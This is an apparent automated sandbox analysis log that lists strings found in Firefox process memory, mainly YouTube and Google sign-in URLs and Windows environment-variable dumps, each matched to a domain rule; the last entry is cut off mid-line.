Source: firefox.exe, 0000001C.00000002.2585695380.000001F3EF2E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443 <ROUTE-via www.youtube.com:443> {NPN-TOKEN h3}^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F4018E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2757465880.000001F401003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: /InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741348665.000001F3FF52B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: /ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401E7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755898255.000001F400F56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :moz-nullprincipal:{7198ad93-0425-431b-a9b5-f17528b5bd39}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\=C:=C:\Users\user\1000003002ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user~1\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows%W equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2533978892.0000021F9B190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows@ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2536648453.0000020BC8320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsR equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2185548634.0000027667482000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =C:=C:\Windows\System32ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741348665.000001F3FF52B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2557836360.0000021F9B584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2557581882.0000020BC8714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsHA[( equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354375210.000001C7575D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user~1\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals 